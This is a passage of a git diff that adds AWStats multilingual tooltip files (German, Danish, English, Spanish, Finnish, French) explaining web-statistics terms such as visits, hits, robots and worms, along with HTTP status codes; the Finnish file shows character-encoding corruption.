nicht ausreicht</b><br />(z.B. eine URL innerhalb eines für Browserzugriffe gesperrten Verzeichnisses).</div> +<div class="CTooltip" id="tt404">Es wurde versucht, auf eine <b>ungültige URL zuzugreifen</b>. Dieser Fehler bedeutet meistens, daß es einen<br />ungültigen Link irgendwo in Ihrer Web Site gibt oder daß ein Besucher einen Schreibfehler bei einer URL gemacht hat.</div> +<div class="CTooltip" id="tt408">Der Server benötigte <b>zu viel Zeit</b>, um auf eine Anfrage zu reagieren. Dieser Fehler bezieht sich meistens auf ein<br />langsam arbeitendes CGI-Skript, welches durch den Server vorzeitig abgebrochen werden mußte, oder einen überlasteten Web Server.</div> +<div class="CTooltip" id="tt500">Interner Fehler. Dieser Fehler wird meist durch ein CGI-Skript verursacht, das z.B. durch einen Programmfehler unerwarteterweise beendet worden ist.</div> +<div class="CTooltip" id="tt501">Unbekannte Art der Anfrage.</div> +<div class="CTooltip" id="tt502">Dieser Fehler wird von einem HTTP-Server gemeldet, der als ein Proxy oder Gateway fungiert, wenn der eigentliche Zielserver auf<br />die Anfrage nicht erfolgreich geantwortet hat.</div> +<div class="CTooltip" id="tt503">Interner Serverfehler.</div> +<div class="CTooltip" id="tt504">Gateway Zeitüberschreitung.</div> +<div class="CTooltip" id="tt505">HTTP-Version wird nicht unterstützt.</div> \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-dk.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-dk.txt new file mode 100644 index 0000000..e3c8757 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-dk.txt @@ -0,0 +1,75 @@ +<!-- Danish tooltips message file by Ole Stanstrup (revised and amended by soren@dacafe.com) --> +<!-- $Revision: 1.2 $ - $Date: 2004/08/04 22:35:01 $ --> +<div class="CTooltip" id="tt1"> +Et nyt besøg defineres som hver ny <b>indkommende besøger</b>, der ser eller browser en side, og ikke har været inde på hjemmesiden i <b>#VisitTimeOut# minutter</b>. +</div> +<div class="CTooltip" id="tt2"> +Antal besøgende (<b>IP-adresser</b>), som har besøgt hjemmesiden (og som har fået vist mindst en <b>side</b>).<br /> +Dette refererer til antallet af <b>forskellige, fysiske personer</b>, der har fået vist siden. +</div> +<div class="CTooltip" id="tt3"> +Antal gange en <b>side</b> på hjemmesiden har været <b>vist</b>. (Summen af alle sider for alle besøgende).<br /> +<b>Sider</b> adskiller sig fra <b>hits</b>, idet det kun er html-sider, men ikke billeder eller andre filer, der tæller. +</div> +<div class="CTooltip" id="tt4"> +Antal gange en <b>side, fil eller et billede</b> på hjemmesiden er blevet <b>vist</b> eller <b>hentet</b> af nogen.<br /> +Hits er kun med som reference, idet det oftest er Sider eller Besøg (eller Unikke besøg), man reelt ønsker statistik for. +</div> +<div class="CTooltip" id="tt5"> +Dette er mængden af data hentet (<b>sider</b>, <b>billeder</b> og <b>filer</b>) fra hjemmesiden.<br /> +Enhederne er KB, MB eller GB (KiloBytes, MegaBytes eller GigaBytes) +</div> +<div class="CTooltip" id="tt13"> +#PROG# kan se, hvis en besøgende har fundet hjemmesiden gennem en <b>søgning</b> fra en af de <b>#SearchEnginesArray# mest brugte Internet søgemaskiner eller kataloger</b> (så som Google, Yahoo, Altavista, Lycos, Voila etc.). +</div> +<div class="CTooltip" id="tt14"> +En liste med alle <b>eksterne sider</b>, der linker til (og er blevet brugt til at komme ind på) din hjemmeside (kun de <b>#MaxNbOfRefererShown#</b> mest anvendte eksterne sider vises). <br /> +Links fra søgemaskiner er ikke medregnet, da de er medtaget for sig selv i en separat tabel. +</div> +<div class="CTooltip" id="tt15"> +Denne tabel viser de mest benyttede <b>søgesætninger og søgeord</b>, som anvendes for at finde din hjemmeside gennem søgemaskiner og kataloger. +(søgeord fra de <b>#SearchEnginesArray#</b> mest populære søgemaskiner og kataloger genkendes af #PROG#, så som Google, Yahoo, Altavista, Lycos, Voila etc.).<br /> +Bemærk at det samlede antal søgninger ud fra søgeord kan være større end det samlede antal søgninger ud fra søgesætninger (det reelle antal søgninger), da to søgeord brugt i samme søgning tæller to gange (en gang for hvert ord). +</div> +<div class="CTooltip" id="tt16"> +Robotter (også kaldet Spiders) er <b>automatiske computerbesøgende</b>, som anvendes af mange søgemaskiner. De scanner hjemmesider for at indeksere og rangordne dem, samle statistik om hjemmesider og/eller se om din hjemmeside eksisterer endnu.<br /> +#PROG# genkender op til <b>#RobotArray#</b> søgerobotter. +</div> +<div class="CTooltip" id="tt17"> +Al tidsrelateret statistik baseres på servertiden (OBS: ved IIS-servere er klokkeslætsangivelser normalt altid baseret på UTC-tid). +</div> +<div class="CTooltip" id="tt18"> +Her vises <b>gennemsnit</b> (beregnet ud fra alle data mellem første og sidste besøg i det analyserede udsnit). +</div> +<div class="CTooltip" id="tt19"> +Her vises <b>sammenlagte summer</b> (beregnet ud fra alle data mellem første og sidste besøg i det analyserede udsnit). +</div> +<div class="CTooltip" id="tt20"> +<b>Besøgenes længde</b> er undertiden 'ukendt', fordi de ikke altid kan beregnes. Følgende er hovedårsagerne til dette:<br /> +- Besøget var ikke afsluttet, da 'opdateringen' fandt sted.<br /> +- Besøget startede den sidste time (efter kl. 23:00) på den sidste dag i måneden (En teknisk årsag forhindrer #PROG# i at beregne varigheden af sådanne besøg). +</div> +<div class="CTooltip" id="tt21"> +Orme er <b>automatiske computerbesøgende</b>, der i virkeligheden består af eksterne servere, der er inficeret med en virus, som forsøger at lave et specifikt hit på din server for at inficere den også. +I de fleste tilfælde udnytter sådanne orme huller i kommercielle eller ikke-opdaterede servere. Hvis dit system ikke er defineret som <b>et sårbart system</b> i forhold til ormen, kan du normalt bare ignorere disse hits.<br /> +Der er kun meget få 'server orme' i verden, men de er meget aktive til tider. +#PROG# er i stand til at genkende <b>#WormsArray#</b> kendte orme-signaturer (Nimda, Code Red osv.). +</div> + +<div class="CTooltip" id="tt201">Ingen beskrivelse af denne fejl.</div> +<div class="CTooltip" id="tt202">Serveren forstod forespørgslen, som udføres senere.</div> +<div class="CTooltip" id="tt204">Serveren har udført forespørgslen, men der er ikke noget dokument at sende.</div> +<div class="CTooltip" id="tt206">Partielt indhold.</div> +<div class="CTooltip" id="tt301">Sider er flyttet og den nye URL er givet i svaret.</div> +<div class="CTooltip" id="tt302">Ingen beskrivelse af denne fejl.</div> +<div class="CTooltip" id="tt400">Syntaksfejl, serveren forstod ikke forespørgslen.</div> +<div class="CTooltip" id="tt401">Der er blevet forespurgt en <b>URL hvor brugernavn/kode var krævet</b>.<br />Et højt antal her kan betyde, at nogen (måske en hacker) forsøger at komme ind på dit site (f.eks. ved at prøve forskellige kombinationer af brugernavne/koder).</div> +<div class="CTooltip" id="tt403">Der er blevet forespurgt en <b>URL der er opsat ikke tilgængelig, selv med et korrekt brugernavn/kode</b> (for eksempel en URL i et bibliotek, der er defineret som ikke 'browsable'.).</div> +<div class="CTooltip" id="tt404">Der er blevet forespurgt en <b>ikke eksisterende URL</b>. Denne fejl skyldes ofte, at der er en forkert link på hjemmesiden, eller at en besøgende har tastet en forkert URL.</div> +<div class="CTooltip" id="tt408">Serveren har taget <b>for lang tid</b> om at besvare forespørgslen. Dette skyldes ofte et langsomt cgi-script, eller at serveren er overbelastet.</div> +<div class="CTooltip" id="tt500">Intern fejl. Dette skyldes ofte, at et cgi-script er afsluttet unormalt (med coredump f.eks.).</div> +<div class="CTooltip" id="tt501">Ukendt forespørgsel.</div> +<div class="CTooltip" id="tt502">Kode returneret af en HTTP server, der fungerer som proxy eller gateway, når den rigtige destinationsserver ikke svarer rigtigt på en klientforespørgsel.</div> +<div class="CTooltip" id="tt503">Intern serverfejl.</div> +<div class="CTooltip" id="tt504">Gateway timeout</div> +<div class="CTooltip" id="tt505">HTTP-version understøttes ikke.</div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-en.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-en.txt new file mode 100644 index 0000000..2346157 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-en.txt @@ -0,0 +1,76 @@ +<!-- English tooltips message file (eldy@users.sourceforge.net) --> +<!-- $Revision: 1.5 $ - $Date: 2008/11/15 15:55:45 $ --> +<div class="CTooltip" id="tt1"> +A new visits is defined as each new <b>incoming visitor</b> (viewing or browsing a page) who was not connected to your site during last <b>#VisitTimeOut# mn</b>. +</div> +<div class="CTooltip" id="tt2"> +Number of client hosts (<b>IP address</b>) who came to visit the site (and who viewed at least one <b>page</b>).<br /> +This data refers to the number of <b>different physical persons</b> who had reached the site. +</div> +<div class="CTooltip" id="tt3"> +Number of times a <b>page</b> of the site is <b>viewed</b> (Sum for all visitors for all visits).<br /> +This piece of data differs from "hits" in that it counts only HTML pages as oppose to images and other files. +</div> +<div class="CTooltip" id="tt4"> +Number of times a <b>page, image, file</b> of the site is <b>viewed</b> or <b>downloaded</b> by someone.<br /> +This piece of data is provided as a reference only, since the number of "pages" viewed is often prefered for marketing purposes. +</div> +<div class="CTooltip" id="tt5"> +This piece of information refers to the amount of data downloaded by all <b>pages</b>, <b>images</b> and <b>files</b> within your site.<br /> +Units are in KB, MB or GB (KiloBytes, MegaBytes or GigaBytes) +</div> +<div class="CTooltip" id="tt13"> +#PROG# recognizes each access to your site after a <b>search</b> from the <b>#SearchEnginesArray# most popular Internet Search Engines and Directories</b> (such as Yahoo, Altavista, Lycos, Google, Voila, etc...). +</div> +<div class="CTooltip" id="tt14"> +List of all <b>external pages</b> which were used to link (and enter) to your site (Only the <b>#MaxNbOfRefererShown#</b> most often used external pages are shown). +Links used by the results of the search engines are excluded here because they have already been included on the previous line within this table. +</div> +<div class="CTooltip" id="tt15"> +This table shows the list of the most frequent <b>keyphrases or keywords</b> used to find your site from Internet Search Engines and Directories. +(Keywords from the <b>#SearchEnginesArray#</b> most popular Search Engines and Directories are recognized by #PROG#, such as Yahoo, Altavista, Lycos, Google, Voila, etc...).<br /> +Note that total number of searches for keywords might be greater than total number of searches for keyphrases (real number of searches) because when 2 keywords were used on same search, search is counted twice for keywords (once for each word). +</div> +<div class="CTooltip" id="tt16"> +Robots (sometimes refer to Spiders) are <b>automatic computer visitors</b> used by many search engines that scan your web site to index it and rank it, collect statistics on Internet Web sites and/or see if your site is still online.<br /> +#PROG# is able to recognize up to <b>#RobotArray#</b> robots. +</div> +<div class="CTooltip" id="tt17"> +All time related statistics are based on server time. +</div> +<div class="CTooltip" id="tt18"> +Here, reported data are: <b>average values</b> (calculated from all data between the first and last visit in analyzed range). +</div> +<div class="CTooltip" id="tt19"> +Here, reported data are: <b>cumulative sums</b> (calculated from all data between the first and last visit in analyzed range). +</div> +<div class="CTooltip" id="tt20"> +Some <b>Visits durations</b> are 'unknown' because they can't always be calculated. This is the major reason for this:<br /> +- Visit was not finished when 'update' occured.<br /> +- Visit started the last hour (after 23:00) of the last day of a month (A technical reason prevents #PROG# from calculating duration of such sessions) +</div> +<div class="CTooltip" id="tt21"> +Worms are <b>automatic computer visitors</b> that are in fact external servers, infected by a virus, that try +to make particular hits on your server to infect it. In most cases, such worms exploit some bugs of not up to date +or commercial servers. If your system is not the <b>sensitive target</b> of the worm, you can simply ignore those hits.<br /> +There is very few 'server worms' in the world but they are very active at some times. +#PROG# is able to recognize <b>#WormsArray#</b> known worm's signatures (nimda,code red,...). +</div> + +<div class="CTooltip" id="tt201">No description for this error.</div> +<div class="CTooltip" id="tt202">Request was understood by server but will be processed later.</div> +<div class="CTooltip" id="tt204">Server has processed the request but there is no document to send.</div> +<div class="CTooltip" id="tt206">Partial content.</div> +<div class="CTooltip" id="tt301">Requested document was moved and is now at another address given in answer.</div> +<div class="CTooltip" id="tt302">No description for this error.</div> +<div class="CTooltip" id="tt400">Syntax error, server didn't understand request.</div> +<div class="CTooltip" id="tt401">Tried to reach an <b>URL where a login/password pair was required</b>.<br />A high number within this item could mean that someone (such as a hacker) is attempting to crack, or enter into your site (hoping to enter a secured area by trying different login/password pairs, for instance).</div> +<div class="CTooltip" id="tt403">Tried to reach an <b>URL not configured to be reachable, even with an login/password pair</b> (for example, an URL within a directory not defined as "browsable".).</div> +<div class="CTooltip" id="tt404">Tried to reach a <b>non existing URL</b>. This error often means that there is an invalid link somewhere in your site or that a visitor mistyped a certain URL.</div> +<div class="CTooltip" id="tt408">Server has taken <b>too much time</b> to respond to a request. This error frequently involves either a slow CGI script which the server was required to kill or an extremely congested web server.</div> +<div class="CTooltip" id="tt500">Internal error. This error is often caused by a CGI program that had finished abnormally (coredump for example).</div> +<div class="CTooltip" id="tt501">Unknown requested action.</div> +<div class="CTooltip" id="tt502">Code returned by a HTTP server that works as a proxy or gateway when a real, targeted server doesn't answer successfully to the client's request.</div> +<div class="CTooltip" id="tt503">Internal server error.</div> +<div class="CTooltip" id="tt504">Gateway Time-out.</div> +<div class="CTooltip" id="tt505">HTTP Version Not Supported.</div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-es.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-es.txt new file mode 100644 index 0000000..2658016 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-es.txt @@ -0,0 +1,68 @@ +<!-- Spanish tooltips message file (temujinnn@hotmail.com) --> +<!-- $Revision: 1.3 $ - $Date: 2008/11/15 15:55:45 $ --> +<div class="CTooltip" id="tt1"> +Se considera un nueva vista por <b>cada nuevo visitante</b> que consulta una página y que no haya accedido al sitio en los últimos <b>#VisitTimeOut# mins.</b>. +</div> +<div class="CTooltip" id="tt2"> +Número de Servidores (<b>direcciones IP</b>) que entran a un sitio (y que por lo menos visitan una <b>página</b>).<br /> +Esta cifra refleja el número de <b>personas físicas diferentes</b> que hayan accedido al sitio en un día. +</div> +<div class="CTooltip" id="tt3"> +Número de ocasiones que una <b>página</b> del sitio ha sido <b>vista</b> (La suma de todos los visitantes incluyendo múltiples visitas).<br /> +Este contador se distingue de "hits" porque cuenta sólo las páginas HTML y no los gráficos u otros archivos o ficheros. +</div> +<div class="CTooltip" id="tt4"> +El número de ocasiones que una <b>página, imagen, archivo o fichero</b> de un sitio es <b>visto</b> o <b>descargado</b> por un visitante.<br /> +Este contador sirve de referencia, pero el contador de "páginas" representa un dato mercadotécnico generalmente más útil y por lo tanto se recomienda. +</div> +<div class="CTooltip" id="tt5"> +El número de <b>kilo bytes</b> descargados por los visitantes del sitio.<br /> +Se refiere al volumen de datos descargados por todas las <b>páginas</b>, <b>imágenes</b> y <b>archivos o ficheros</b> medidos en kilo bytes. +</div> +<div class="CTooltip" id="tt13"> +El programa #PROG# es capaz de reconocer una visita a su sitio luego de cada <b>búsqueda</b> desde cualquiera de los <b>#SearchEnginesArray# motores de búsqueda y directorios Internet</b> más populares (Yahoo, Altavista, Lycos, Google, Terra, etc...). +</div> +<div class="CTooltip" id="tt14"> +Lista de <b>páginas de sitios externos</b> utilizadas para acceder o enlazarse con su sitio (Sólo las <b>#MaxNbOfRefererShown#</b> páginas más utilizadas se encuentras enumeradas). +Los enlaces utilizados por los motores de búsqueda o directorios son excluidos porque ya han sido contabilizados en el rubro anterior. +</div> +<div class="CTooltip" id="tt15"> +Esta tabla muestra la lista de las <b>palabras clave</b> más utilizadas en los motores de búsqueda y directorios Internet para encontrar su sitio. +(El programa #PROG# reconoce palabras clave usadas en los <b>#SearchEnginesArray#</b> motores de búsqueda más populares, tales como Yahoo, Altavista, Lycos, Google, Voila, Terra etc...). +</div> +<div class="CTooltip" id="tt16"> +Los Robots son <b>visitantes automáticos</b> que escanean o viajan por su sitio para indexarlo, o jerarquizarlo, para recopilar estadísticas de sitios Web, o para verificar si su sitio se encuentra conectado a la Red.<br /> +El programa #PROG# reconoce hasta <b>#RobotArray#</b> robots. +</div> +<div class="CTooltip" id="tt17"> +Todos los tiempos relacionados con las estadísticas están basados en tiempos de servidor. +</div> +<div class="CTooltip" id="tt18"> +Aquí, las fechas reportadas son: <b>valores medios</b> (calculado desde todos los datos entre las primeras y los ultimas visitas en el rango analizado) +</div> +<div class="CTooltip" id="tt19"> +Aquí, las fechas reportadas son: <b>sumas acumulativas</b> (calculado desde todos los datos entre las primeras y los ultimas visitas en el rango analizado) +</div> +<div class="CTooltip" id="tt20"> +Algunas <b>Duraciones de las visitas</b> son 'desconocidas' porque no pueden ser calculadas siempre. La razón principal de esto es:<br /> +- La visita no fue acabada cuando ocurrió la 'actualización'.<br /> +- La visita comenzó en la hora anterior (después de las 23:00) del pasado día de un mes (la razón técnica de previene a #PROG# de la duración calculada de tales sesiones) +</div> + +<div class="CTooltip" id="tt201"> Error sin descripción. </div> +<div class="CTooltip" id="tt202"> La solicitud ha sido computada pero el servidor la procesará más tarde. </div> +<div class="CTooltip" id="tt204"> El servidor ha procesado la solicitud pero no existen documentos para enviar. </div> +<div class="CTooltip" id="tt206"> Contenido parcial. </div> +<div class="CTooltip" id="tt301"> El documento solicitado ha sido reubicado y se encuentra en un URL proporcionado en la misma respuesta. </div> +<div class="CTooltip" id="tt302"> Error sin descripción. </div> +<div class="CTooltip" id="tt400"> Error de sintaxis, el servidor no ha comprendido su solicitud. </div> +<div class="CTooltip" id="tt401"> Número de intentos por acceder un <b>URL que exige una combinación usuario/contraseña que ha sido invalida.</b>.<br />Un número de intentos muy elevado pudiera sugerir la posibilidad de que un hacker (o pirata) ha intentado entrar a una zona restringida del sitio (p.e., intentando múltiples combinaciones de usuario/contraseña). </div> +<div class="CTooltip" id="tt403"> Número de intentos por acceder un <b>URL configurado para no ser accesible, aún con una combinación usuario/contraseña</b> (p.e., un URL previamente definido como "no navegable"). </div> +<div class="CTooltip" id="tt404"> Número de intentos por acceder un <b>URL inexistente</b>. Frecuentemente, éstos se refieren ya sea a un enlace (link) inválido o a un error mecanográfico cuando el visitante tecleó el URL equivocado. </div> +<div class="CTooltip" id="tt408"> El servidor ha tardado <b>demasiado tiempo</b> para responder a una solicitud. Frecuentemente se debe ya sea a un programa CGI muy lento, el cual tuvo que ser abandonado por el servidor, o bien por un servidor sobre-saturado. </div> +<div class="CTooltip" id="tt500"> Error interno. Este error generalmente es causado por una terminación anormal o prematura de un programa CGI (p.e., un CGI corrompido o dañado). </div> +<div class="CTooltip" id="tt501"> Solicitud desconocida por el servidor. </div> +<div class="CTooltip" id="tt502"> Código retornado por un servidor de protocolo HTTP el cual funciona como proxy o puente (gateway) cuando el servidor objetivo no funciona o no interpreta adecuadamente la solicitud del cliente (o visitante). </div> +<div class="CTooltip" id="tt503"> Error interno del servidor. </div> +<div class="CTooltip" id="tt504"> Pasarela fuera de linea. </div> +<div class="CTooltip" id="tt505"> Versión de protocolo HTTP no soportada. </div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-fi.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-fi.txt new file mode 100644 index 0000000..6fe16d9 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-fi.txt @@ -0,0 +1,69 @@ +<!-- Finnish tooltips message file (zebi@kanetti.com) --> +<!-- $Revision: 1.2 $ - $Date: 2008/10/05 11:13:13 $ --> +<div class="CTooltip" id="tt1"> +T�ss� uudeksi vierailuksi on laskettu sivustolle <b>saapunut vierailija</b> (sivuja selannut), joka ei ole ollut yhteydess� sivustoon viimeisen <b>#VisitTimeOut# minuutin aikana</b>. +</div> +<div class="CTooltip" id="tt2"> +Asiakaskoneiden (<b>IP-osoitteiden</b>) m��r�, jotka ovat k�yneet sivustoilla (ja selanneet ainakin yht� <b>sivua</b>).<br /> +T�m� tieto viittaa <b>eri fyysisten henkil�iden</b> m��r��n, jotka ovat k�yneet sivustolla. +</div> +<div class="CTooltip" id="tt3"> +<b>N�ytettyjen sivujen</b> m��r�. (kaikkien vierailujen aikana n�ytettyjen sivujen yhteism��r�).<br /> +T�m� tieto eroaa kohdasta "osumat" siin�, ett� mukaan lasketaan ainoastaan HTML-sivut, ei kuvia tai muita tiedostoja. +</div> +<div class="CTooltip" id="tt4"> +<b>N�ytettyjen</b> tai <b>ladattujen</b> <b>sivujen, kuvien ja tiedostojen</b> yhteism��r�.<br /> +T�m� tieto tarjotaan ainoastaan viitteeksi, koska markkinointitarkoituksissa suositaan yleens� n�ytettyjen "sivujen" m��r��. +</div> +<div class="CTooltip" id="tt5"> +T�m� tieto viittaa sivustoltasi <b>sivujen</b>, <b>kuvien</b> ja <b>tiedostojen</b> muodossa ladatun datan m��r��n.<br /> +Yksikk�n� Kt, Mt tai Gt (Kilotavu, Megatavu tai Gigatavu) +</div> +<div class="CTooltip" id="tt13"> +#PROG# tunnistaa <b>#SearchEnginesArray# suosituimman hakukoneen</b> (kuten Yahoo, Altavista, Lycos, Google, Voila, jne...) <b>hakutulosten</b> avulla sivustolle l�yt�neet. +</div> +<div class="CTooltip" id="tt14"> +Luettelo <b>ulkopuolisista sivuista</b>, joilta l�ytyy linkki (jota on seurattu) sivustollesi (N�kyviss� ainoastaan <b>#MaxNbOfRefererShown#</b> useimmin k�ytetty� ulkopuolista sivua). +Hakukoneiden hakutuloksista l�ytyvi� linkkej� ei ole sis�llytetty mukaan, koska n�m� n�kyv�t jo t�m�n taulukon edellisell� rivill�. +</div> +<div class="CTooltip" id="tt15"> +T�st� taulukosta n�hd��n luettelo yleisimmist� <b>hakulauseista tai hakusanoista</b>, joiden avulla sivustoillesi on l�ydetty Internetin hakukoneiden ja hakemistojen avulla. +(#PROG# tunnistaa hakusanat <b>#SearchEnginesArray#</b>:sta suosituimmasta hakukoneesta ja hakemistosta, kuten Yahoo, Altavista, Lycos, Google, Voila, jne...).<br /> +Huomaa, ett� hakusanojen kokonaism��r� voi olla suurempi kuin hakulauseiden (todellinen hakujen m��r�), koska silloin kun kahta hakusanaa on k�ytetty samassa haussa, lasketaan t�m� hakusana-tilastossa kahdesti (jokainen hakusana erikseen). +</div> +<div class="CTooltip" id="tt16"> +Robotit (k�ytet��n joskus my�s nimityst� "Spider") ovat <b>automaattisia tietokonevierailijoita</b>, joita useat hakukoneet k�ytt�v�t indeksoidakseen, arvostellakseen ja ker�t�kseen tilastoa sivustoista ja/tai tutkiakseen viel�k� sivustot ovat saatavilla.<br /> +#PROG# tunnistaa jopa <b>#RobotArray#</b> robottia. +</div> +<div class="CTooltip" id="tt17"> +Kaikki kelloaikoihin liittyv�t tilastot perustuvat palvelimen kelloon. +</div> +<div class="CTooltip" id="tt18"> +T�ss� kerrotut tiedot ovat: <b>keskim��r�isi� arvoja</b> (laskettu kaikkien ensimm�isen ja viimeisimm�n vierailun v�listen tietojen perusteella) +</div> +<div class="CTooltip" id="tt19"> +T�ss� kerrotut tiedot ovat: <b>kumulatiivisia summia</b> (laskettu kaikkien ensimm�isen ja viimeisimm�n vierailun v�listen tietojen perusteella) +</div> +<div class="CTooltip" id="tt20"> +Jotkut <b>Vierailujen kestot</b> ovat 'tuntemattomia', koska niit� ei aina voida laskea. P��asiallinen syy t�lle on:<br /> +- Vierailu ei ollut loppunut 'p�ivityksen' tapahtuessa.<br /> +- Vierailu alkoi kuukauden viimeisen vuorokauden viimesen tunnin aikana (klo 23:00 j�lkeen) (Tekniset syyt est�v�t laskutoimituksen t�llaisessa tapauksessa) +</div> + +<div class="CTooltip" id="tt201"> T�lle virheelle ei ole kuvausta. </div> +<div class="CTooltip" id="tt202"> Palvelin on ymm�rt�nyt palvelupyynn�n, mutta se k�sitell��n my�hemmin. </div> +<div class="CTooltip" id="tt204"> Palvelin on k�sitellyt pyynn�n, mutta l�hetett�v�ksi ei ole mit��n tietoa. </div> +<div class="CTooltip" id="tt206"> Osittainen sis�lt�. </div> +<div class="CTooltip" id="tt301"> Pyydetty tiedosto on siirretty toiseen, vastauksessa kerrottuun osoitteeseen. </div> +<div class="CTooltip" id="tt302"> T�lle virheelle ei ole kuvausta. </div> +<div class="CTooltip" id="tt400"> Kielioppivirhe. Palvelin ei ymm�rt�nyt palvelupyynt��. </div> +<div class="CTooltip" id="tt401"> Pyydetty <b>URL, johon tarvitaan tunnus/salasana -kaksikko</b>.<br /> Suuri m��r� n�it� virheit� saattaa tarkoittaa sit�, ett� joku (kuten hakkeri) yritt�� murtautua, tai p��st� sivustoille (toivoen p��tyv�ns� suojatulle alueelle kokeilemalla eri tunnus/salasana -pareja, esimerkiksi). </div> +<div class="CTooltip" id="tt403"> Tried to reach an <b>URL not configured to be reachable, even with an login/password pair</b> (for example, an URL within a directory not defined as "browsable".). </div> +<div class="CTooltip" id="tt404"> Pyydetty <b>URL, jota ei ole olemassa</b>. T�m� virhe tarkoittaa usein sit�, ett� jossakin sivustollasi on virheellinen linkki, tai ett� vierailija on kirjoittanut URL:n v��rin. </div> +<div class="CTooltip" id="tt408"> Server has taken <b>too much time</b> to respond to a request. This error frequently involves either a slow CGI script which the server was required to kill or an extremely congested web server. </div> +<div class="CTooltip" id="tt500"> Sis�inen virhe. T�m� virhe on usein ep�normaalisti keskeytyneen CGI-ohjelman aiheuttama (tuloksena esim. coredump). </div> +<div class="CTooltip" id="tt501"> Pyydetty toiminto tuntematon. </div> +<div class="CTooltip" id="tt502"> V�lityspalvelimena tai yhdysk�yt�v�n� toimivan HTTP-palvelimen palauttama koodi, kun todellinen kohteena ollut palvelin ei vastannut palvelupyynt��n hyv�ksytt�v�sti.</div> +<div class="CTooltip" id="tt503"> Palvelimen sis�inen virhe. </div> +<div class="CTooltip" id="tt504"> Yhdysk�yt�v�n aikaraja t�yttynyt. </div> +<div class="CTooltip" id="tt505"> HTTP-versio ei tuettu. </div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-fr.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-fr.txt new file mode 100644 index 0000000..fcc2ff5 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-fr.txt @@ -0,0 +1,77 @@ +<!-- French tooltips message file (eldy@users.sourceforge.net) --> +<!-- $Revision: 1.5 $ - $Date: 2008/11/15 15:55:45 $ --> +<div class="CTooltip" id="tt1"> +On considère une nouvelle visite pour <b>chaque arrivée</b> d'un visiteur consultant une page et ne s'étant pas connecté dans les dernières <b>#VisitTimeOut# mn</b>. +</div> +<div class="CTooltip" id="tt2"> +Nombre de hotes (<b>adresse IP</b>) utilisés pour accéder au site (et voir au moins une <b>page</b>).<br /> +Ce chiffre reflète le nombre de <b>personnes physiques</b> différentes ayant un jour accédées au site. +</div> +<div class="CTooltip" id="tt3"> +Nombre de fois qu une <b>page</b> du site est <b>vue</b> (Cumul de tout visiteur, toute visite).<br /> +Ce compteur différe des "hits" car il ne comptabilise que les pages HTML et non les images ou autres fichiers. +</div> +<div class="CTooltip" id="tt4"> +Nombre de fois qu une <b>page, image, fichier</b> du site est <b>vu</b> ou <b>téléchargé</b> par un visiteur.<br /> +Ce compteur est donné à titre indicatif, le compteur "pages" etant préféré. +</div> +<div class="CTooltip" id="tt5"> +Nombre d'<b>octets</b> téléchargés lors des visites du site.<br /> +Il s'agit aussi bien du volume de données du au chargement des <b>pages</b> et <b>images</b> que des <b>fichiers</b> téléchargés. +</div> +<div class="CTooltip" id="tt13"> +#PROG# est capable de reconnaitre l'acces au site issu d'une <b>recherche</b> depuis les <b>#SearchEnginesArray# moteurs de recherche Internet</b> les plus connus (Yahoo, Altavista, Lycos, Google, Voila, etc...). +</div> +<div class="CTooltip" id="tt14"> +Liste des <b>pages de sites externes</b> contenant un lien suivi pour accéder à ce site (Seules les <b>#MaxNbOfRefererShown#</b> pages externes les plus utilisées sont affichées). +Les liens issus du résultat d'un moteur de recherche connu n'apparaissent pas ici, car comptabilisés à part sur la ligne juste au-dessus. +</div> +<div class="CTooltip" id="tt15"> +Ce tableau offre la liste des <b>phrases ou mots</b> clés les plus souvent utilisés pour retrouver et accéder au site depuis +un moteur de recherche Internet (Les recherches depuis <b>#SearchEnginesArray#</b> moteurs de recherche parmi les plus populaires sont reconnues, comme Yahoo, Altavista, Lycos, Google, Voila, etc...).<br /> +Notez que le nombre total de recherche de mots clés peut être supérieur au nombre total de recherche de phrases clés (nombre réel de recherche) dans la mesure où une recherche est comptée 2 fois (1 pour chaque mot) si 2 mots furent utilisés comme critères. +</div> +<div class="CTooltip" id="tt16"> +Les robots sont des <b>automates visiteurs</b> scannant le site dans le but de l'indexer, d'obtenir des statistiques sur les sites Web Internet ou de vérifier sa disponibilié.<br /> +#PROG# reconnait <b>#RobotArray#</b> robots. +</div> +<div class="CTooltip" id="tt17"> +Toutes les statistiques en rapport avec le temps sont basées sur les heures du serveur. +</div> +<div class="CTooltip" id="tt18"> +Ici les données rapportées sont des: <b>valeurs moyennes</b> (calculées à partir des données entre la première et dernière visite de la période analysée). +</div> +<div class="CTooltip" id="tt19"> +Ici les données rapportées sont des: <b>sommes cumulées</b> (calculées à partir des données entre la première et dernière visite de la période analysée). +</div> +<div class="CTooltip" id="tt20"> +Certaines <b>Durée de visites</b> sont 'inconnues' car elles ne peuvent pas toujours etre calculées. En voici les raisons principales:<br /> +- La visite n'étaient pas terminée lorsque la mise à jour eut lieu (Sera comptée à la prochaine mise à jour).<br /> +- La visite a commencé la derniere heure (après 23:00) du dernier jour du mois (Un raison technique empêche #PROG# de calculer la durée des visites de telles sessions). +</div> +<div class="CTooltip" id="tt21"> +Les Vers (Worms) sont des <b>visiteurs automatiques</b> qui sont en fait des serveurs externes 